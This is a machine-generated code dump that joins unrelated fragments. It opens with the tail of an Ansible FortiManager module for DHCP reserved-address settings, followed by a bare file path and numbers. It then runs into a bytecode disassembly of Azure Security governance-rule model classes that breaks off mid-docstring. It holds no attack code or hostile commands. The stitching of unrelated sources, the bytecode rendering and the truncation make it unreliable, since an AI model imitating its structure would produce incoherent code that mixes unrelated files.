"6.4.9": True, "6.4.10": True, "6.4.11": True, "6.4.12": True, "6.4.13": True, "7.0.0": True, "7.0.1": True, "7.0.2": True, "7.0.3": True, "7.0.4": True, "7.0.5": True, "7.0.6": True, "7.0.7": True, "7.0.8": True, "7.0.9": True, "7.0.10": True, "7.2.0": True, "7.2.1": True, "7.2.2": True, "7.2.3": True, "7.2.4": True, "7.4.0": True, "7.4.1": False, }, "choices": ["mac", "option82"], "type": "str", }, }, }, } params_validation_blob = [] check_galaxy_version(module_arg_spec) module = AnsibleModule( argument_spec=check_parameter_bypass( module_arg_spec, "fsp_vlan_dynamicmapping_dhcpserver_reservedaddress" ), supports_check_mode=False, ) fmgr = None if module._socket_path: connection = Connection(module._socket_path) connection.set_option( "access_token", module.params["access_token"] if "access_token" in module.params else None, ) connection.set_option( "enable_log", module.params["enable_log"] if "enable_log" in module.params else False, ) connection.set_option( "forticloud_access_token", ( module.params["forticloud_access_token"] if "forticloud_access_token" in module.params else None ), ) fmgr = NAPIManager( jrpc_urls, perobject_jrpc_urls, module_primary_key, url_params, module, connection, top_level_schema_name="data", ) fmgr.validate_parameters(params_validation_blob) fmgr.process_curd(argument_specs=module_arg_spec) else: module.fail_json(msg="MUST RUN IN HTTPAPI MODE") module.exit_json(meta=module.params) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/fortinet/fortimanager/plugins/modules/fmgr_fsp_vlan_dynamicmapping_dhcpserver_reservedaddress.py
9,370
8,993
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST ('Any', 'List', 'Optional', 'TYPE_CHECKING', 'Union') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 3 LOAD_CONST ('_serialization',) IMPORT_NAME IMPORT_FROM _serialization STORE_NAME _serialization POP_TOP LOAD_NAME sys LOAD_ATTR version_info LOAD_CONST (3, 9) COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('MutableMapping',) IMPORT_NAME collections.abc IMPORT_FROM MutableMapping STORE_NAME MutableMapping POP_TOP JUMP_FORWARD to 92 LOAD_CONST 0 LOAD_CONST ('MutableMapping',) IMPORT_NAME typing IMPORT_FROM MutableMapping STORE_NAME MutableMapping POP_TOP LOAD_NAME TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 2 LOAD_CONST ('models',) IMPORT_NAME IMPORT_FROM models STORE_NAME _models POP_TOP LOAD_NAME MutableMapping LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR STORE_NAME JSON LOAD_BUILD_CLASS LOAD_CONST <code object CloudErrorBody at 0x7fab82322660, file "f.py", line 17> LOAD_CONST 'CloudErrorBody' MAKE_FUNCTION LOAD_CONST 'CloudErrorBody' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME CloudErrorBody LOAD_BUILD_CLASS LOAD_CONST <code object Condition at 0x7fab802b3e40, file "f.py", line 61> LOAD_CONST 'Condition' MAKE_FUNCTION LOAD_CONST 'Condition' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME Condition LOAD_BUILD_CLASS LOAD_CONST <code object ErrorAdditionalInfo at 0x7fab700cb540, file "f.py", line 110> LOAD_CONST 'ErrorAdditionalInfo' MAKE_FUNCTION LOAD_CONST 'ErrorAdditionalInfo' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME ErrorAdditionalInfo LOAD_BUILD_CLASS LOAD_CONST <code object ExecuteGovernanceRuleParams at 0x7fab700cb390, file "f.py", line 138> LOAD_CONST 'ExecuteGovernanceRuleParams' MAKE_FUNCTION LOAD_CONST 'ExecuteGovernanceRuleParams' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME ExecuteGovernanceRuleParams LOAD_BUILD_CLASS LOAD_CONST <code object Resource at 0x7fab81fc4030, file "f.py", line 158> LOAD_CONST 'Resource' MAKE_FUNCTION LOAD_CONST 'Resource' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME Resource LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceAssignment at 0x7fab81fc41e0, file "f.py", line 191> LOAD_CONST 'GovernanceAssignment' MAKE_FUNCTION LOAD_CONST 'GovernanceAssignment' LOAD_NAME Resource CALL_FUNCTION STORE_NAME GovernanceAssignment LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceAssignmentAdditionalData at 0x7fab81fc40c0, file "f.py", line 294> LOAD_CONST 'GovernanceAssignmentAdditionalData' MAKE_FUNCTION LOAD_CONST 'GovernanceAssignmentAdditionalData' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceAssignmentAdditionalData LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceAssignmentsList at 0x7fab8005d270, file "f.py", line 341> LOAD_CONST 'GovernanceAssignmentsList' MAKE_FUNCTION LOAD_CONST 'GovernanceAssignmentsList' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceAssignmentsList LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceEmailNotification at 0x7fab8237f150, file "f.py", line 369> LOAD_CONST 'GovernanceEmailNotification' MAKE_FUNCTION LOAD_CONST 'GovernanceEmailNotification' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceEmailNotification LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceRule at 0x7fab8237fed0, file "f.py", line 407> LOAD_CONST 'GovernanceRule' MAKE_FUNCTION LOAD_CONST 'GovernanceRule' LOAD_NAME Resource CALL_FUNCTION STORE_NAME GovernanceRule LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceRuleEmailNotification at 0x7fab8237ff60, file "f.py", line 585> LOAD_CONST 'GovernanceRuleEmailNotification' MAKE_FUNCTION LOAD_CONST 'GovernanceRuleEmailNotification' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceRuleEmailNotification LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceRuleList at 0x7fab80297420, file "f.py", line 626> LOAD_CONST 'GovernanceRuleList' MAKE_FUNCTION LOAD_CONST 'GovernanceRuleList' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceRuleList LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceRuleMetadata at 0x7fab802978a0, file "f.py", line 654> LOAD_CONST 'GovernanceRuleMetadata' MAKE_FUNCTION LOAD_CONST 'GovernanceRuleMetadata' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceRuleMetadata LOAD_BUILD_CLASS LOAD_CONST <code object GovernanceRuleOwnerSource at 0x7fab80297810, file "f.py", line 692> LOAD_CONST 'GovernanceRuleOwnerSource' MAKE_FUNCTION LOAD_CONST 'GovernanceRuleOwnerSource' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME GovernanceRuleOwnerSource LOAD_BUILD_CLASS LOAD_CONST <code object OperationResultAutoGenerated at 0x7fab80297db0, file "f.py", line 728> LOAD_CONST 'OperationResultAutoGenerated' MAKE_FUNCTION LOAD_CONST 'OperationResultAutoGenerated' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME OperationResultAutoGenerated LOAD_BUILD_CLASS LOAD_CONST <code object RemediationEta at 0x7fab80297d20, file "f.py", line 752> LOAD_CONST 'RemediationEta' MAKE_FUNCTION LOAD_CONST 'RemediationEta' LOAD_NAME _serialization LOAD_ATTR Model CALL_FUNCTION STORE_NAME RemediationEta LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CloudErrorBody' STORE_NAME __qualname__ LOAD_CONST 'The error detail.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar code: The error code.\n :vartype code: str\n :ivar message: The error message.\n :vartype message: str\n :ivar target: The error target.\n :vartype target: str\n :ivar details: The error details.\n :vartype details: list[~azure.mgmt.security.v2022_01_01_preview.models.CloudErrorBody]\n :ivar additional_info: The error additional info.\n :vartype additional_info:\n list[~azure.mgmt.security.v2022_01_01_preview.models.ErrorAdditionalInfo]\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('code', 'message', 'target', 'details', 'additional_info') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'code' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'message' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'target' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'details' LOAD_CONST '[CloudErrorBody]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'additionalInfo' LOAD_CONST '[ErrorAdditionalInfo]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('code', 'message', 'target', 'details', 'additional_info') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab823228a0, file "f.py", line 51> LOAD_CONST 'CloudErrorBody.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR code LOAD_CONST None LOAD_FAST self STORE_ATTR message LOAD_CONST None LOAD_FAST self STORE_ATTR target LOAD_CONST None LOAD_FAST self STORE_ATTR details LOAD_CONST None LOAD_FAST self STORE_ATTR additional_info LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Condition' STORE_NAME __qualname__ LOAD_CONST 'Governance rule\'s condition.\n\n :ivar property: The governance rule Condition\'s Property, e.g. Severity or AssessmentKey, see\n examples.\n :vartype property: str\n :ivar value: The governance rule Condition\'s Value like severity Low, High or assessments keys,\n see examples.\n :vartype value: str\n :ivar operator: The governance rule Condition\'s Operator, for example Equals for severity or In\n for list of assessments, see examples. Known values are: "Equals", "In", and "In".\n :vartype operator: str or\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleConditionOperator\n ' STORE_NAME __doc__ LOAD_CONST 'property' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'value' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'operator' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('property', 'value', 'operator') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('property', 'value', 'operator') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME Union LOAD_NAME str LOAD_CONST '_models.GovernanceRuleConditionOperator' BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('property', 'value', 'operator', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab82322420, file "f.py", line 82> LOAD_CONST 'Condition.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST property LOAD_FAST self STORE_ATTR property LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_FAST operator LOAD_FAST self STORE_ATTR operator LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ErrorAdditionalInfo' STORE_NAME __qualname__ LOAD_CONST 'The resource management error additional info.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar type: The additional info type.\n :vartype type: str\n :ivar info: The additional info.\n :vartype info: JSON\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('type', 'info') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'type' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'info' LOAD_CONST 'object' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('type', 'info') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab700cbb70, file "f.py", line 131> LOAD_CONST 'ErrorAdditionalInfo.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR type LOAD_CONST None LOAD_FAST self STORE_ATTR info LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ExecuteGovernanceRuleParams' STORE_NAME __qualname__ LOAD_CONST 'Governance rule execution parameters.\n\n :ivar override: Describe if governance rule should be override.\n :vartype override: bool\n ' STORE_NAME __doc__ LOAD_CONST 'override' LOAD_CONST 'override' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP BUILD_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST ('override',) BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('override', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab700cb0c0, file "f.py", line 149> LOAD_CONST 'ExecuteGovernanceRuleParams.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST override LOAD_FAST self STORE_ATTR override LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Resource' STORE_NAME __qualname__ LOAD_CONST 'Describes an Azure resource.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar id: Resource Id.\n :vartype id: str\n :ivar name: Resource name.\n :vartype name: str\n :ivar type: Resource type.\n :vartype type: str\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('id', 'name', 'type') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'id' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'name' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'type' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'name', 'type') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab823caed0, file "f.py", line 183> LOAD_CONST 'Resource.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR id LOAD_CONST None LOAD_FAST self STORE_ATTR name LOAD_CONST None LOAD_FAST self STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceAssignment' STORE_NAME __qualname__ LOAD_CONST 'Governance assignment over a given scope.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar id: Resource Id.\n :vartype id: str\n :ivar name: Resource name.\n :vartype name: str\n :ivar type: Resource type.\n :vartype type: str\n :ivar owner: The Owner for the governance assignment - e.g. [email protected] - see example.\n :vartype owner: str\n :ivar remediation_due_date: The remediation due-date - after this date Secure Score will be\n affected (in case of active grace-period).\n :vartype remediation_due_date: ~datetime.datetime\n :ivar remediation_eta: The ETA (estimated time of arrival) for remediation (optional), see\n example.\n :vartype remediation_eta: ~azure.mgmt.security.v2022_01_01_preview.models.RemediationEta\n :ivar is_grace_period: Defines whether there is a grace period on the governance assignment.\n :vartype is_grace_period: bool\n :ivar governance_email_notification: The email notifications settings for the governance rule,\n states whether to disable notifications for mangers and owners.\n :vartype governance_email_notification:\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceEmailNotification\n :ivar additional_data: The additional data for the governance assignment - e.g. links to ticket\n (optional), see example.\n :vartype additional_data:\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceAssignmentAdditionalData\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('id', 'name', 'type') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'id' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'name' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'type' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.owner' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.remediationDueDate' LOAD_CONST 'iso-8601' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.remediationEta' LOAD_CONST 'RemediationEta' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.isGracePeriod' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.governanceEmailNotification' LOAD_CONST 'GovernanceEmailNotification' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'properties.additionalData' LOAD_CONST 'GovernanceAssignmentAdditionalData' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'name', 'type', 'owner', 'remediation_due_date', 'remediation_eta', 'is_grace_period', 'governance_email_notification', 'additional_data') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('owner', 'remediation_due_date', 'remediation_eta', 'is_grace_period', 'governance_email_notification', 'additional_data') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME datetime LOAD_ATTR datetime BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.RemediationEta' BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.GovernanceEmailNotification' BINARY_SUBSCR LOAD_NAME Optional LOAD_CONST '_models.GovernanceAssignmentAdditionalData' BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('owner', 'remediation_due_date', 'remediation_eta', 'is_grace_period', 'governance_email_notification', 'additional_data', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab81fc4f60, file "f.py", line 252> LOAD_CONST 'GovernanceAssignment.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST owner LOAD_FAST self STORE_ATTR owner LOAD_FAST remediation_due_date LOAD_FAST self STORE_ATTR remediation_due_date LOAD_FAST remediation_eta LOAD_FAST self STORE_ATTR remediation_eta LOAD_FAST is_grace_period LOAD_FAST self STORE_ATTR is_grace_period LOAD_FAST governance_email_notification LOAD_FAST self STORE_ATTR governance_email_notification LOAD_FAST additional_data LOAD_FAST self STORE_ATTR additional_data LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceAssignmentAdditionalData' STORE_NAME __qualname__ LOAD_CONST 'Describe the additional data of governance assignment - optional.\n\n :ivar ticket_number: Ticket number associated with this governance assignment.\n :vartype ticket_number: int\n :ivar ticket_link: Ticket link associated with this governance assignment - for example:\n https://snow.com.\n :vartype ticket_link: str\n :ivar ticket_status: The ticket status associated with this governance assignment - for\n example: Active.\n :vartype ticket_status: str\n ' STORE_NAME __doc__ LOAD_CONST 'ticket_number' LOAD_CONST 'minimum' LOAD_CONST 0 BUILD_MAP BUILD_MAP STORE_NAME _validation LOAD_CONST 'ticketNumber' LOAD_CONST 'int' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'ticketLink' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'ticketStatus' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('ticket_number', 'ticket_link', 'ticket_status') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('ticket_number', 'ticket_link', 'ticket_status') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('ticket_number', 'ticket_link', 'ticket_status', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab81fc4db0, file "f.py", line 317> LOAD_CONST 'GovernanceAssignmentAdditionalData.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST ticket_number LOAD_FAST self STORE_ATTR ticket_number LOAD_FAST ticket_link LOAD_FAST self STORE_ATTR ticket_link LOAD_FAST ticket_status LOAD_FAST self STORE_ATTR ticket_status LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceAssignmentsList' STORE_NAME __qualname__ LOAD_CONST 'Page of a governance assignments list.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar value: Collection of governance assignments in this page.\n :vartype value: list[~azure.mgmt.security.v2022_01_01_preview.models.GovernanceAssignment]\n :ivar next_link: The URI to fetch the next page.\n :vartype next_link: str\n ' STORE_NAME __doc__ LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST 'readonly' LOAD_CONST True BUILD_MAP LOAD_CONST ('value', 'next_link') BUILD_CONST_KEY_MAP STORE_NAME _validation LOAD_CONST 'value' LOAD_CONST '[GovernanceAssignment]' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'nextLink' LOAD_CONST 'str' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('value', 'next_link') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_NAME Any LOAD_CONST None LOAD_CONST ('kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab81fc48a0, file "f.py", line 362> LOAD_CONST 'GovernanceAssignmentsList.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR value LOAD_CONST None LOAD_FAST self STORE_ATTR next_link LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceEmailNotification' STORE_NAME __qualname__ LOAD_CONST 'The governance email weekly notification configuration.\n\n :ivar disable_manager_email_notification: Exclude manager from weekly email notification.\n :vartype disable_manager_email_notification: bool\n :ivar disable_owner_email_notification: Exclude owner from weekly email notification.\n :vartype disable_owner_email_notification: bool\n ' STORE_NAME __doc__ LOAD_CONST 'disableManagerEmailNotification' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST 'disableOwnerEmailNotification' LOAD_CONST 'bool' LOAD_CONST ('key', 'type') BUILD_CONST_KEY_MAP LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification') BUILD_CONST_KEY_MAP STORE_NAME _attribute_map LOAD_CONST None LOAD_CONST None LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME bool BINARY_SUBSCR LOAD_NAME Any LOAD_CONST None LOAD_CONST ('disable_manager_email_notification', 'disable_owner_email_notification', 'kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab8005ded0, file "f.py", line 389> LOAD_CONST 'GovernanceEmailNotification.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST disable_manager_email_notification LOAD_FAST self STORE_ATTR disable_manager_email_notification LOAD_FAST disable_owner_email_notification LOAD_FAST self STORE_ATTR disable_owner_email_notification LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'GovernanceRule' STORE_NAME __qualname__ LOAD_CONST 'Governance rule over a given scope.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar id: Resource Id.\n :vartype id: str\n :ivar name: Resource name.\n :vartype name: str\n :ivar type: Resource type.\n :vartype type: str\n :ivar tenant_id: The tenantId (GUID).\n :vartype tenant_id: str\n :ivar display_name: Display name of the governance rule.\n :vartype display_name: str\n :ivar description: Description of the governance rule.\n :vartype description: str\n :ivar remediation_timeframe: Governance rule remediation timeframe - this is the time that will\n affect on the grace-period duration e.g. 7.00:00:00 - means 7 days.\n :vartype remediation_timeframe: str\n :ivar is_grace_period: Defines whether there is a grace period on the governance rule.\n :vartype is_grace_period: bool\n :ivar rule_priority: The governance rule priority, priority to the lower number. Rules with the\n same priority on the same scope will not be allowed.\n :vartype rule_priority: int\n :ivar is_disabled: Defines whether the rule is active/inactive.\n :vartype is_disabled: bool\n :ivar rule_type: The rule type of the governance rule, defines the source of the rule e.g.\n Integrated. Known values are: "Integrated" and "ServiceNow".\n :vartype rule_type: str or ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleType\n :ivar source_resource_type: The governance rule source, what the rule affects, e.g.\n Assessments. "Assessments"\n :vartype source_resource_type: str or\n ~azure.mgmt.security.v2022_01_01_preview.models.GovernanceRuleSourceResourceType\n :ivar excluded_scopes: Excluded scopes, filter out the descendants of the scope (on management\n scopes).\n :vartype excluded_scopes: list[str]\n :ivar condition_sets: The governance rule conditionSets - see examples.\n :vartype condition_sets: list[JSON]\n :ivar include_member_scopes: Defines whether the rule is management scope rule (master\n connector as a single scope or management 